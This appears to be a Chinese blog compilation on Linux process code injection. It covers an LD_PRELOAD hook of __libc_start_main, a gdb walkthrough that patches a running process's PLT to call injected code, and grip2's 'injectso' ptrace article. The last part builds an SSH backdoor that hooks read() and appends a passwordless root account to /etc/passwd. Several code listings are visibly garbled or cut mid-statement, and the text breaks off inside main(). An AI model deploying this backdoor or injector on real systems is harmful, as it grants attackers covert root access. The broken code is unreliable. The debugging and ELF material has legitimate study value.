您的位置:首页 > 运维架构 > Linux

Linux 平台一种进程代码注入方法

2013-10-30 10:10 801 查看
用于在目标程序的 main 函数执行前完成一些操作

特定情况下用来调试还是不错的。

源代码

/* fakemain.c
* Heiher <admin@heiher.info>
*/

#include <stdio.h>

#define __USE_GNU
#include <dlfcn.h>

static void do_something(void)
{
printf("Hello!\n");
}

int __libc_start_main(int (*main)(int, char **, char **),
int argc, char **ubp_av, void (*init)(void),
void (*fini)(void), void (*rtld_fini)(void),
void (*stack_end))
{
int (*__libc_start_main_real)(int (*main) (int, char **, char **),
int argc, char **ubp_av, void (*init)(void),
void (*fini)(void), void (*rtld_fini)(void),
void (*stack_end));

do_something();

__libc_start_main_real = dlsym(RTLD_NEXT, "__libc_start_main");

return __libc_start_main_real(main, argc, ubp_av, init, fini,
rtld_fini, stack_end);
}

编译

gcc -o libfakemain.so -fPIC -shared fakemain.c -ldl

测试

LD_PRELOAD=./libfakemain.so ls

Hello!
fakemain.c  hotkey  hotkey.vala  libfakemain.so

Over!

1、简介

假设Linux上正在运行某程序,像Unix守护程序等,我们不想终止该程序,但是同时又需要更新程序的功能。首先映入脑海的可能是更新程序中一些已知函数,添加额外的功能,这样就不会影响到程序已有的功能,且不用终止程序。考虑向正在运行的程序中注入一些新的代码,当程序中已存在的另一个函数被调用时触发这些新代码。也许这种想法有些异想天开,但并不是不能实现的,有时我们确实需要向正在运行的程序中注入一些代码,当然其与病毒的代码注入技术与存在一定关联。

在本文中,我会向读者解释如何向正在Linux系统上运行的程序中注入一段C函数代码,而不必终止该程序。文中我们会讨论Linux目标文件格式Executable and Linkable Format(ELF),讨论目标文件sections(段)、symbols(符号)以及relocations(重定位)。

2、示例概述

笔者会利用以下简单的示例程序向读者一步步解释代码注入技术。示例由以下三部分组成:

(1)由源码dynlib.h与dynlib.c编译的动态(共享)库libdynlib.so
(2)由源码app.c编译的app程序,会链接libdynlib.so库
(3)injection.c文件中的注入函数


下面看一下这些代码:

//dynlib.h
extern void print();


dynlib.h文件中声明了printf()函数。

//dynlib.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include "dynlib.h"
extern void print()
{
static unsigned int counter = 0;
++counter;
printf("%d : PID %d : In print()\n", counter, getpid());
}


dynlib.c文件实现了print()函数,该函数只是打印一个计数(每次函数被调用时都会使该值增加)以及当前进程的pid。

//app.c
#include <stdio.h>
#include <unistd.h>
#include "dynlib.h"
int main()
{
while(1)
{
print();
printf("Going to sleep...\n");
sleep(3);
printf("Waked up...\n");
}
return 0;
}


app.c文件中的函数调用print()函数(来自libdynlib.so动态库),之后睡眠几秒钟,然后继续执行该无限循环。

//injection.c
#include <stdlib.h>
extern void print();
extern void injection()
{
print();  //原本的工作,调用print()函数
system("date");  //添加的额外工作
}


injection()函数调用会替换app.c文件中main()函数调用的print()函数调用。injection()函数首先会调用原print()函数,之后进行额外的工作。例如,它可以利用system()函数运行一些外部可执行程序,或者像本例中一样打印当前的日期。

3、编译并运行程序

首先利用gcc编译器编译这些源文件:

$ gcc -g -Wall dynlib.c -fPIC -shared -o libdynlib.so
$ gcc –g app.c –ldynlib –L ./ -o app
$ gcc -Wall injection.c -c -o injection.o

编译后的程序为:

-rwxrwxr-x 1 0×80 0×80 6224 Oct 15 14:04 app
-rw-rw-r– 1 0×80 0×80 888 Oct 16 17:53 injection.o
-rwxrwxr-x 1 0×80 0×80 5753 Oct 16 17:52 libdynlib.so


需要注意的是动态库libdynlib.so在编译时指定了-fPIC选项,用来生成地址无关的程序。下面运行app可执行程序:

[0x80@localhost dynlib]$ ./app
./app: error while loading shared libraries: libdynlib.so: cannot open shared object file: No such file or directory


如果产生以上错误,我们需要将生成的libdynlib.so文件拷贝到/usr/lib/目录下,再执行该程序,得到如下结果:

[0x80@localhost dynlib]$ ./app
1 : PID 25658 : In print()
Going to sleep…
Waked up…
2 : PID 25658 : In print()
Going to sleep…
Waked up…
3 : PID 25658 : In print()
Going to sleep…


4、调试应用程序

程序app只是一个简单的循环程序,这里我们假设其已经运行了几周,在不终止该程序的情况下,将我们的新代码注入到该程序中。在注入过程中利用Linux自带的功能强大的调试器gdb。首先我们需要利用pid(见程序的输出)将程序附着到gdb:

[0x80@localhost dynlib]$ gdb app 25658
GNU gdb Red Hat Linux (6.3.0.0-1.122rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i386-redhat-linux-gnu”…Using host libthread_db library “/lib/libthread_db.so.1″.
Attaching to program: /home/0×80/dynlib/app, process 25658
Reading symbols from shared object read from target memory…done.
Loaded system supplied DSO at 0×464000
`shared object read from target memory’ has disappeared; keeping its symbols.
Reading symbols from /usr/lib/libdynlib.so…done.
Loaded symbols for /usr/lib/libdynlib.so
Reading symbols from /lib/libc.so.6…done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2…done.
Loaded symbols for /lib/ld-linux.so.2
0×00464410 in __kernel_vsyscall ()
(gdb)


5、将注入代码加载到可执行程序的内存中

如前所述,目标文件injection.o初始并不包含在app可执行进程镜像中,我们首先需要将injection.o加载到进程的内存地址空间。可以通过mmap()系统调用,该系统调用可以将injection.o文件映射到app进程地址空间中。在gdb调试器中:

(gdb) call open(“injection.o”, 2)
$1 = 3
(gdb) call mmap(0, 888, 1|2|4, 1, 3, 0)
$2 = 1118208
(gdb)


首先利用O_RDWR(值为2)的读/写权限打开injection.o文件。一会之后我们在加载注入代码时做写修改,因此需要写权限。返回值为系统分配的文件描述符,可以看到值为3。之后调用mmap()系统调用将该文件载入进程的地址空间。mmap()函数原型如下:

#include <sys/mman.h>
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);


函数包含6个参数:

start表示映射区的开始地址,设置为0时表示由系统决定映射区起始地址。

length表示映射区的长度,这里为injection.o文件的长度,该值在前文第3节出现过。

prot表示期望的内存保护标志(即映射权限),不能与文件的打开模式冲突,这里为1|2|4(即PROT_READ | PROT_WRITE | PROT_EXEC,读/写/执行)

flags指定映射对象的类型,映射选项和映射页是否可以共享,

fd表示已经打开的文件描述符,这里为3。

offset表示被映射对象内容的起点,这里为0。

如果函数执行成功,则返回被映射文件在映射区的起始地址 

通过查看/proc/[pid]/maps的内容(这里pid为要注入的可执行进程的pid,本例为25593),我们可以确定injection.o文件实际被映射到的进程地址空间,在Linux系统中,文件包含当前正在运行的进程的内存布局信息

[0x80@localhost ~]$ cat /proc/25658/maps
00111000-00112000 rwxs 00000000 03:02 57933979 /home/0x80/dynlib/injection.o
00464000-00465000 r-xp 00464000 00:00 0 [vdso]
00500000-00501000 r-xp 00000000 03:01 5464089 /usr/lib/libdynlib.so
00501000-00502000 rw-p 00000000 03:01 5464089 /usr/lib/libdynlib.so
007bb000-007d4000 r-xp 00000000 03:01 1311704 /lib/ld-2.4.so
007d4000-007d5000 r--p 00018000 03:01 1311704 /lib/ld-2.4.so
007d5000-007d6000 rw-p 00019000 03:01 1311704 /lib/ld-2.4.so
007d8000-00904000 r-xp 00000000 03:01 1311705 /lib/libc-2.4.so
00904000-00907000 r--p 0012b000 03:01 1311705 /lib/libc-2.4.so
00907000-00908000 rw-p 0012e000 03:01 1311705 /lib/libc-2.4.so
00908000-0090b000 rw-p 00908000 00:00 0
08048000-08049000 r-xp 00000000 03:02 57933977 /home/ 0x80 /dynlib/app
08049000-0804a000 rw-p 00000000 03:02 57933977 /home/ 0x80 /dynlib/app
09ca5000-09cc6000 rw-p 09ca5000 00:00 0 [heap]
b7f94000-b7f95000 rw-p b7f94000 00:00 0
b7fa4000-b7fa6000 rw-p b7fa4000 00:00 0
bfb91000-bfba6000 rw-p bfb91000 00:00 0 [stack]
[0x80@localhost ~]$


可以看到/home/0×80/dynlib/injection.o起始于进程地址空间的0×00111000地址处(转换成十进制即为1118208),终止于地址空间的0×00112000地址处。以上输出同时包含了其它动态库的映射信息。现在我们已经将所有需要的组件加载到可执行进程的内存空间中了。

6、重定位

下面,我们从内部检查ELF格式的二进制可执行文件程序app。我们使用Linux自带的readelf程序,来显示ELF格式的目标文件(Linux中的任意object文件、库或可执行文件)中的不同数据,即查看app程序中的符号重定位信息。我们只对其中的print()函数调用的重定位感兴趣。

[0x80@localhost dynlib]$ readelf -r app
Relocation section ‘.rel.dyn’ at offset 0×338 contains 1 entries:
Offset Info Type Sym.Value Sym. Name
08049678 00000c06 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section ‘.rel.plt’ at offset 0×340 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
08049688 00000107 R_386_JUMP_SLOT 00000000 print
0804968c 00000207 R_386_JUMP_SLOT 00000000 puts
08049690 00000407 R_386_JUMP_SLOT 00000000 sleep
08049694 00000607 R_386_JUMP_SLOT 00000000 __libc_start_main
08049698 00000c07 R_386_JUMP_SLOT 00000000 __gmon_start__
[0x80@localhost dynlib]$


如读者所见,print符号重定位位于app程序的绝对(虚拟)地址0×08049688偏移处,重定位的类型为R_386_JUMP_SLOT。在程序被加载到内存且在运行之前,重定位地址是一个绝对虚拟地址。注意该重定位驻留在程序二进制镜像的.rel.plt段内。PLT即Procedure Linkage Table的缩写,是为函数间接调用提供的表,即在调用一个函数是,不是直接跳转到函数的位置,而是首先跳转到Procedure Linkage Table的入口处,之后再从PLT跳转到函数的实际代码处。如果要调用的函数位于一个动态库中(如本例中的libdynlib.so),那么这种做法是必要的,因为我们不可能提前知道动态库会被加载到进程空间的什么位置,以及动态库中的第一个函数是什么(本位中为print()函数)。所有这些知识只在程序被加载到内存之后且运行之前有效,这时系统的动态链接器(Linux系统中为ld-linux.so)会解决重定位的问题,使请求的函数能够被正确调用。在本文的例子中,动态链接器会将libdynlib.so加载到可执行进程的地址空间,找到print()函数在库中的地址,并将该地址设置为重定位地址0×08049688。

我们的目标是用injection.o目标文件中injection()函数的地址替换print()函数的地址,该函数在程序刚开始运行之初并不包含在它的进程地址空间中。

更多关于ELF格式、重定位以及动态链接器的的信息,读者可以参考Executable and Linkable Format(ELF)文档。

我们可以检查地址0×08049688正是函数print()函数的地址:

(gdb) p & print
$3 = (void (*)()) 0x50051c (gdb) p/x * 0×08049688
$4 = 0x50051c
(gdb)


injection()函数的地址可以通过对injection.o文件运行readelf –s(显示目标文件的符号表)得到:

[0x80@localhost dynlib]$ readelf -s injection.o
Symbol table ‘.symtab’ contains 11 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FILE LOCAL DEFAULT ABS injection.c
2: 00000000 0 SECTION LOCAL DEFAULT 1
3: 00000000 0 SECTION LOCAL DEFAULT 3
4: 00000000 0 SECTION LOCAL DEFAULT 4
5: 00000000 0 SECTION LOCAL DEFAULT 5
6: 00000000 0 SECTION LOCAL DEFAULT 7
7: 00000000 0 SECTION LOCAL DEFAULT 6
8: 00000000 25 FUNC GLOBAL DEFAULT 1 injection
9: 00000000 0 NOTYPE GLOBAL DEFAULT UND print
10: 00000000 0 NOTYPE GLOBAL DEFAULT UND system
[0x80@localhost dynlib]$


函数(符号)injection位于injection.o文件.text段的偏移0处,但.text段起始于injection.o文件的偏移0×000034处:

[0x80@localhost dynlib]$ sudo readelf -S injection.o
There are 11 section headers, starting at offset 0xd4:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .text PROGBITS 00000000 000034 000019 00 AX 0 0 4
[ 2] .rel.text REL 00000000 000360 000018 08 9 1 4
[ 3] .data PROGBITS 00000000 000050 000000 00 WA 0 0 4
[ 4] .bss NOBITS 00000000 000050 000000 00 WA 0 0 4
[ 5] .rodata PROGBITS 00000000 000050 000005 00 A 0 0 1
[ 6] .comment PROGBITS 00000000 000055 00002d 00 0 0 1
[ 7] .note.GNU-stack PROGBITS 00000000 000082 000000 00 0 0 1
[ 8] .shstrtab STRTAB 00000000 000082 000051 00 0 0 1
[ 9] .symtab SYMTAB 00000000 00028c 0000b0 10 10 8 4
[10] .strtab STRTAB 00000000 00033c 000024 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
[0x80@localhost dynlib]$


7、用injection()函数替换print()函数

这里提醒读者,injection.o文件已经被加载到app进程内存空间的地址0×00111000处(见上文)。因此injection()函数的最终绝对虚拟地址为0×00111000+0×000034.

下面用该地址替换print()函数的重定位地址0×08069688:

(gdb) set *0×08049688 = 0×00111000 + 0×000034
(gdb)


到这里,我们已经成功用对injection()函数的调用替换了对print()函数的调用。

8、解决injection()函数的重定位

不过我们还有一些工作要做。injection()函数的代码目前还不能运行,因为我们仍有3个重定位没有解决:

[0x80@localhost dynlib]$ readelf -r injection.o
Relocation section ‘.rel.text’ at offset 0×360 contains 3 entries:
Offset Info Type Sym.Value Sym. Name
00000007 00000902 R_386_PC32 00000000 print
0000000e 00000501 R_386_32 00000000 .rodata
00000013 00000a02 R_386_PC32 00000000 system
[0x80@localhost dynlib]$


print重定位引用libdynlib.so库中的print()函数调用,.rodata重定位指向保存在.rodata只读数据段的“date”常量字符串(译者注:即system(date)调用中的“date”),system重定位引用系统的system()函数调用。需要注意的是所有这三个重定位是驻留在.rel.text段中的,因此它们的偏移是相对于.text段而言的。

我们需要手动解决以上三个重定位,为这三个内存位置设置适当的地址。程序进程地址空间中的这些重定位地址是通过求和计算出来的:

(1)injection.o在进程地址空间中的起始地址(0×00111000)。
(2).text段在injection.o目标文件中的起始偏移量(0×000034)。
(3)相对于.text段的重定位偏移量(print为0×00000007, .rodata为0x0000000e,system为0×00000013)。


可以看到print与system的重定位类型为R_386_PC32,意味着要设置的重定位地址的值应该利用程序计数寄存器PC来计算,这样才是相对于重定位地址的。

(译者注:所谓重定位类型,就是规定了使用何种方式,去计算这个值,具体有哪些变量参与计算如同如何进行计算一样也是不固定的,各种重定位类型有自己的规定。据规范里面的规定,重定位类型R_386_PC32的计算需要有三个变量参与:S,A和P。其计算方式是 S+A-P。根据规范,当R_386_PC32类型的重定位发生在link editor链接若干个.o对象文件从而形成可执行文件的过程中的时候,变量S指代的是被重定位的符号的实际运行时地址,而变量P是重定位所影响到的地址单元的实际运行时地址。在运行于x86架构上的Linux系统中,这两个地址都是虚拟地址。变量A最简单,就是重定位所需要的附加数,它是一个常数。别忘x86架构所使用的重定位条目结构体类型Elf32_Rela,所以附加数就存在于受重定位影响的地址单元中。重定位最后将计算得到的值patch到这个地址单元中。)

R_386_32表示绝对地址的重定位,可以直接使用符号的地址;R_386_PC32表示对相对地址的重定位,要用“符号地址-重定位地址”得出相对地址。

R_386_32 类型规定只是将附加数加上符号的值作为所需要的值,即.rodata的重定位需要在地址0×00111000的基础上加上一个附加数。

计算方法如下:

(gdb) p & system
$7 = ( *) 0×733650 //system()函数的地址
(gdb) p * (0×00111000 + 0×000034 + 0×000000013)
$8 = -4 // system符号重定位的加数
(gdb) set * (0×00111000 + 0×000034 + 0×000000013) = 0×733650 – (0×00111000 + 0×000034 + 0×000000013) – 4

(gdb) p & print
$9 = (void (*)(void)) 0x40000be8 // print()函数的地址
(gdb) p * (0×00111000 + 0×000034 + 0×0000007)
$10 = -4 // print符号重定位的加数
(gdb) set * (0×00111000 + 0×000034 + 0×0000007) = 0x40000be8 – (0×00111000 + 0×000034 + 0×0000007) – 4

(gdb) p * (0×00111000 + 0×000034 + 0x0000000e)
$11 = 0 // .rodata符号重定位的加数
(gdb) set * (0×00111000 + 0×000034 + 0x0000000e) = 0×00111000 + 0×000050
//0×000050为.rodata 段在injection.o目标文件中的偏移(见上文第6节结尾处)


解决了injection()函数代码中的所有3个重定位,那么要做的准备工作就做完了,可以退出gdb调试器了。应用程序会继续运行,并且在此之后,除了继续之前的打印工作,程序同时还会输出当前的日期。

(gdb) q
A debugging session is active.
Inferior 1 [process 25658] will be detached.

Quit anyway? (y or n) y
Detaching from program: /home/0×80/dynlib/app, process 25658
[0x80@localhost dynlib]$ [lnx63:code_injection]

// app程序会继续执行
Waked up …
Thu Oct 12 20:09:40 IST 2012
4: PID 25658: In print()
Going to sleep …
Waked up …
Thu Oct 12 20:09:43 IST 2012
5: PID 25658: In print()
Going to sleep …
Waked up …
Thu Oct 12 20:09:46 IST 2012
6: PID 25658: In print()
Going to sleep …
Waked up …
Thu Oct 12 20:09:49 IST 2012
7: PID 25658: In print()
Going to sleep …
Waked up …


9、结论

  在本文中,笔者演示了如何向正在运行于Linux系统上的应用程序注入一个C函数,而不必终止该程序。需要注意的是当前用户必须是被注入的进程的,或者拥有对进程内存处理的相应权限。

共享库注射--injectso实例

作者:grip2

日期:2002/08/16

内容:

1 -- 介绍

2 -- injectso -- 共享库注射技术

3 -- injectso的工作步骤及实现方法

4 -- 目标进程调试函数

5 -- 符号解析函数

6 -- 一个简单的后门程序

7 -- 最后

8 -- 参考文献

一、 ** 介绍

本文介绍的是injectso技术,重点是使用现有技术去实际的完成一个injectso程序,

而不是侧重于理论上的探讨。这里希望你在阅读这篇文章的时候对ELF、inject有一

定的了解,当然你也可以选择在看完本文之后再去翻看相关的资料,也许这样能使你

更有针对性。需要说明的是,下面介绍的技术和给出的函数都是特定于X86下的linux

的,在其它环境下可能有一些需要改变的细节,但从基本的概念和步骤上讲应该是相

同的。

[separator]

二、 ** injectso -- 共享库注射技术

使用injectso技术,我们可以注射共享库到一个运行期进程,这里注射的意思就是通

过某种操作使我们的.so共享库在指定的进程中被装载,这样再配合上函数重定向或

其它技术,我们就可以捕获或改变目标进程的行为,可以做非常多的工作。同其它

inject技术相比,injectso的一些优点是:

1. 简单 -- 仅仅通过C代码就可以完成所有的工作;

2. 扩展性好 -- 在基础代码完成之后,如果要对程序功能进行增加、修改,仅需改动

.so共享库即可;

3. 干净 -- 对目标进程进行注射之后,不需要留下磁盘文件,使用的程序及共享库

都可以删除;

4. 灵活 -- 我们可以使用它完成很多工作,例如:运行期补丁、后门程序等;

5. 目标服务不需要重新启动;

6. 无须改动二进制文件;

7. 可以通过pax, openwall等这样的核心补丁。

三、 ** injectso的工作步骤及实现方法

完成injectso需要以下几个步骤:

1. 关联到目标进程;

2. 发现装载共享库的函数,一般是_dl_open调用,我们将使用它装载我们的.so共享



3. 装载指定的.so;

4. 做我们想做的,一般是通过函数重定向来完成我们需要的功能;

5. 脱离进程;

下面简单介绍一下这几个步骤的实现方法,由于我们是对其它进程进行操作,因此

ptrace这个linux调试API函数将频繁的被我们使用,在中,我将给出一些ptrace

包装函数。

步骤1 -- 关联进程

简单的调用ptrace(PTRACE_ATTACH,...)即可以关联到目标进程,但此后我们还

需调用waitpid()函数等待目标进程暂停,以便我们进行后续操作。详见中给出

的ptrace_attach()函数。

步骤2 -- 发现_dl_open

通过遍历动态连接器使用的link_map结构及其指向的相关链表,我们可以完成

_dl_open的符号解析工作,关于通过link_map解析符号在phrack59包的p59_08(见参

考文献)中有详细的描述。

步骤3 -- 装载.so

由于在2中我们已经找到_dl_open的地址,所以我们只需将此函数使用的参数添

入相应的寄存器,并将进程的eip指向_dl_open即可,在此过程中还需做一些其它操

作,具体内容见中的call_dl_open和ptrace_call函数。

步骤4 -- 函数重定向

我们需要做的仅仅是找到相关的函数地址,用新函数替换旧函数,并将旧函数的

地址保存。其中涉及到了PLT和RELOCATION,关于它们的详细内容你应该看ELF规范中

的介绍,在中的函数中有PLT和RELOCATION的相关操作,而且在最后的例子中,

我们将实现函数重定向。关于函数重定向,相关资料很多,这里不再多介绍。

步骤5 -- 脱离进程

简单的调用ptrace(PTRACE_DETACH,...)可以脱离目标进程。

四、** 目标进程调试函数

在linux中,如果我们要调试一个进程,可以使用ptrace API函数,为了使用起来更

方便,我们需要对它进行一些功能上的封装。

在p59_08中作者给出了一些对ptrace进行封装的函数,但是那太少了,在下面我给出

了更多的函数,这足够我们使用了。要注意在这些函数中我并未进行太多的错误检测

,但做为一个例子使用,它已经能很好的工作了,在最后的例子中你将能看到这一点



/* 关联到进程 */

void ptrace_attach(int pid)

{

if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) e_phoff;

printf("phdr_addr\t %p\n", phdr_addr);

ptrace_read(pid, phdr_addr, phdr, sizeof(Elf32_Phdr));

while(phdr->p_type != PT_DYNAMIC)

ptrace_read(pid, phdr_addr += sizeof(Elf32_Phdr), phdr,

sizeof(Elf32_Phdr));

dyn_addr = phdr->p_vaddr;

printf("dyn_addr\t %p\n", dyn_addr);

ptrace_read(pid, dyn_addr, dyn, sizeof(Elf32_Dyn));

while(dyn->d_tag != DT_PLTGOT) {

ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));

i++;

}

got = (Elf32_Word)dyn->d_un.d_ptr;

got += 4;

printf("GOT\t\t %p\n", got);

ptrace_read(pid, got, &map_addr, 4);

printf("map_addr\t %p\n", map_addr);

ptrace_read(pid, map_addr, map, sizeof(struct link_map));

free(ehdr);

free(phdr);

free(dyn);

return map;

}

/*

取得给定link_map指向的SYMTAB、STRTAB、HASH、JMPREL、PLTRELSZ、RELAENT、RELENT信息

这些地址信息将被保存到全局变量中,以方便使用

*/

void get_sym_info(int pid, struct link_map *lm)

{

Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));

unsigned long dyn_addr;

dyn_addr = (unsigned long)lm->l_ld;

ptrace_read(pid, dyn_addr, dyn, sizeof(Elf32_Dyn));

while(dyn->d_tag != DT_NULL){

switch(dyn->d_tag)

{

case DT_SYMTAB:

symtab = dyn->d_un.d_ptr;

//puts("DT_SYMTAB");

break;

case DT_STRTAB:

strtab = dyn->d_un.d_ptr;

//puts("DT_STRTAB");

break;

case DT_HASH:

ptrace_read(pid, dyn->d_un.d_ptr + lm->l_addr + 4,

&nchains, sizeof(nchains));

//puts("DT_HASH");

break;

case DT_JMPREL:

jmprel = dyn->d_un.d_ptr;

//puts("DT_JMPREL");

break;

case DT_PLTRELSZ:

//puts("DT_PLTRELSZ");

totalrelsize = dyn->d_un.d_val;

break;

case DT_RELAENT:

relsize = dyn->d_un.d_val;

//puts("DT_RELAENT");

break;

case DT_RELENT:

relsize = dyn->d_un.d_val;

//puts("DT_RELENT");

break;

}

ptrace_read(pid, dyn_addr += sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));

}

nrels = totalrelsize / relsize;

free(dyn);

}

/*

解析指定符号

*/

unsigned long find_symbol(int pid, struct link_map *map, char *sym_name)

{

struct link_map *lm = (struct link_map *) malloc(sizeof(struct link_map));

unsigned long sym_addr;

char *str;

sym_addr = find_symbol_in_linkmap(pid, map, sym_name);

if (sym_addr)

return sym_addr;

if (!map->l_next) return 0;

ptrace_read(pid, (unsigned long)map->l_next, lm, sizeof(struct link_map));

sym_addr = find_symbol_in_linkmap(pid, lm, sym_name);

while(!sym_addr && lm->l_next) {

ptrace_read(pid, (unsigned long)lm->l_next, lm, sizeof(struct link_map));

str = ptrace_readstr(pid, (unsigned long)lm->l_name);

if(str[0] == '\0')

continue;

printf("[%s]\n", str);

free(str);

if ((sym_addr = find_symbol_in_linkmap(pid, lm, sym_name)))

break;

}

return sym_addr;

}

/*

在指定的link_map指向的符号表查找符号,它仅仅是被上面的find_symbol使用

*/

unsigned long find_symbol_in_linkmap(int pid, struct link_map *lm, char *sym_name)

{

Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));

int i;

char *str;

unsigned long ret;

get_sym_info(pid, lm);

for(i = 0; i st_name || !sym->st_size || !sym->st_value)

continue;

/* 因为我还要通过此函数解析非函数类型的符号,因此将此处封上了

if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC)

continue;

*/

str = (char *) ptrace_readstr(pid, strtab + sym->st_name);

if (strcmp(str, sym_name) == 0) {

free(str);

str = ptrace_readstr(pid, (unsigned long)lm->l_name);

printf("lib name [%s]\n", str);

free(str);

break;

}

free(str);

}

if (i == nchains)

ret = 0;

else

ret = lm->l_addr + sym->st_value;

free(sym);

return ret;

}

/* 查找符号的重定位地址 */

unsigned long find_sym_in_rel(int pid, char *sym_name)

{

Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel));

Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));

int i;

char *str;

unsigned long ret;

get_dyn_info(pid);

for(i = 0; ir_info)) {

ptrace_read(pid, symtab + ELF32_R_SYM(rel->r_info) *

sizeof(Elf32_Sym), sym, sizeof(Elf32_Sym));

str = ptrace_readstr(pid, strtab + sym->st_name);

if (strcmp(str, sym_name) == 0) {

free(str);

break;

}

free(str);

}

}

if (i == nrels)

ret = 0;

else

ret = rel->r_offset;

free(rel);

return ret;

}

/*

在进程自身的映象中(即不包括动态共享库,无须遍历link_map链表)获得各种动态信息

*/

void get_dyn_info(int pid)

{

Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));

int i = 0;

ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));

i++;

while(dyn->d_tag){

switch(dyn->d_tag)

{

case DT_SYMTAB:

puts("DT_SYMTAB");

symtab = dyn->d_un.d_ptr;

break;

case DT_STRTAB:

strtab = dyn->d_un.d_ptr;

//puts("DT_STRTAB");

break;

case DT_JMPREL:

jmprel = dyn->d_un.d_ptr;

//puts("DT_JMPREL");

printf("jmprel\t %p\n", jmprel);

break;

case DT_PLTRELSZ:

totalrelsize = dyn->d_un.d_val;

//puts("DT_PLTRELSZ");

break;

case DT_RELAENT:

relsize = dyn->d_un.d_val;

//puts("DT_RELAENT");

break;

case DT_RELENT:

relsize = dyn->d_un.d_val;

//puts("DT_RELENT");

break;

}

ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));

i++;

}

nrels = totalrelsize / relsize;

free(dyn);

}

上面的函数可能较中的复杂了一些,但是它们也是容易理解的,这需要你对ELF

有一定的了解,我无法在这里解释更多的关于ELF内容,最好的和最有效的办法是你

去阅读规范,文后的参考文献中给出了下载地址。

六、** 一个简单的后门程序

有了上面介绍的函数,现在我们可以很容易的编写出injectso程序,下面让我们来写

一个简单后门程序。首先,我们回想一下前面介绍的injectso工作步骤,看看我们是

否已经有足够的辅助函数来完成它。第1步,我们可以调用上面给出的ptrace_attach()

完成。第2步,可以通过find_symbol()找到_dl_open的地址。第3步我们可以调用

ptrace_call()来调用_dl_open,但是要注意_dl_open定义为'internal_function',

这说明它的传递方式是通过寄存器而不是堆栈,这样看来在调用_dl_open之前还需做一

些琐碎的操作,那么我们还是把它封装起来更好。第4步,函数重定向,我们可以通过

符号解析函数和RELOCATION地址获取函数找到新老函数地址,地址都已经找到,那替换

它们只是一个简单的操作了。第5步,仅仅调用ptrace_detach就可以了。OK,看来所有

的步骤我们都可以很轻松的完成了,只有3还需要个小小的封装函数,现在就来完成它:

void call_dl_open(int pid, unsigned long addr, char *libname)

{

void *pRLibName;

struct user_regs_struct regs;

/*

先找个空间存放要装载的共享库名,我们可以简单的把它放入堆栈

*/

pRLibName = ptrace_push(pid, libname, strlen(libname) + 1);

/* 设置参数到寄存器 */

ptrace_readreg(pid, ®s);

regs.eax = (unsigned long) pRLibName;

regs.ecx = 0x0;

regs.edx = RTLD_LAZY;

ptrace_writereg(pid, ®s);

/* 调用_dl_open */

ptrace_call(pid, addr);

puts("call _dl_open ok");

}

到这里所有的基础问题都已经解决(只是相对而言,在有些情况下可能需要解决系统

调用或临界区等问题,本文没有涉及,但是我们的程序依然可以很好的执行),现在

需要考虑的我们做一个什么样的后门程序。为了简单,我打算作一个注射SSH服务的

后门程序。我们只需要重定向read调用到我们自己的newread,并在newread中加入对

读取到的内容进行判断的语句,如果发现读到的第一个字节是#号,我们将向/etc/passwd

追加新行"injso::0:0:root:/root:/bin/sh\n",这样我们就有了一个具

有ROOT权限的用户injso,并且不需要登陆密码。根据这个思路来建立我们的.so:

[root@grip2 injectso]# cat so.c

#include

#include

ssize_t (*oldread)(int fd, void *buf, size_t count);

ssize_t newread(int fd, void *buf, size_t count)

{

ssize_t ret;

FILE *fp;

char ch = '#';

ret = oldread(fd, buf, count);

if (memcmp(buf, (void *)&ch, 1) == 0) {

fp = fopen("/etc/passwd", "a");

fputs("injso::0:0:root:/root:/bin/sh\n", fp);

fclose(fp);

}

return ret;

}

我们来编译它

[root@grip2 injectso]# gcc -shared -o so.so -fPIC so.c -nostdlib

好了,我们已经有了.so,下面就仅剩下main()了,让我们来看看:

[root@grip2 injectso]# cat injso.c

#include

#include

#include

#include "p_elf.h"

#include "p_dbg.h"

int main(int argc, char *argv[])

{

int pid;

struct link_map *map;

char sym_name[256];

unsigned long sym_addr;

unsigned long new_addr,old_addr,rel_addr;

/* 从命令行取得目标进程PID

pid = atoi(argv[1]);

/* 关联到目标进程 */

ptrace_attach(pid);

/* 得到指向link_map链表的指针 */

map = get_linkmap(pid); /* get_linkmap */

/* 发现_dl_open,并调用它 */

sym_addr = find_symbol(pid, map, "_dl_open"); /* call _dl_open */

printf("found _dl_open at addr %p\n", sym_addr);

call_dl_open(pid, sym_addr, "/home/grip2/me/so.so"); /* 注意装载的库地址 */

/* 找到我们的新函数newread的地址 */

strcpy(sym_name, "newread"); /* intercept */

sym_addr = find_symbol(pid, map, sym_name);

printf("%s addr\t %p\n", sym_name, sym_addr);

/* 找到read的RELOCATION地址 */

strcpy(sym_name, "read");

rel_addr = find_sym_in_rel(pid, sym_name);

printf("%s rel addr\t %p\n", sym_name, rel_addr);

/* 找到用于保存read地址的指针 */

strcpy(sym_name, "oldread");

